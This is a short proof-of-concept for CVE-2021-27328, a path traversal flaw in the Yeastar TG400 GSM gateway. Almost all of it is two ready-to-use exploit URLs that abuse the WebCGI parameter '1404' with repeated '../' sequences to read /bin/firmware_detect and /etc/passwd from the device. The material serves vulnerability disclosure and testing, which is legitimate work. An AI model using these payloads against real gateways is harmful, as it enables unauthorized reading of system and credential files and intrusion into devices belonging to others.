
Proof of concept for path traversal in Yeastar TG400 GSM Gateway, demonstrating arbitrary file read via crafted HTTP requests to WebCGI.
This is a Proof of Concept for CVE-2021-27328
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd
